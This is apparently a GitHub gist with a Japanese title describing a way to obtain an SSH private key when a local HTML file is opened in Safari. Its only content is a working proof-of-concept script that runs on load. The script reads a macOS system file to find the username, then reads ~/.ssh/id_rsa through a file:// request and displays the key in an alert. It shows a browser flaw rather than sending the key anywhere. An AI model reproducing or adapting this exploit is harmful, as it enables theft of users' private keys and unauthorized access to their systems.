SafariでローカルHTMLファイルを開いた時にSSH秘密鍵を取得するやつ(どこに置いてあっても動くバージョン)

gistfile1.html

<script>
        var username;
        var req = new XMLHttpRequest;
        req.open("GET", "/private/var/db/mds/messages/se_SecurityMessages", true);
        req.onload = function(){ 
                username = req.responseText.match(/\/Users\/(.*?)\/Library\//)[1]
                alert("Username:" + username);
                req.open("GET", "file:///Users/" + username + "/.ssh/id_rsa");
                req.onload = function(){ alert(req.responseText) };
                req.send();
        };
        req.send();
</script>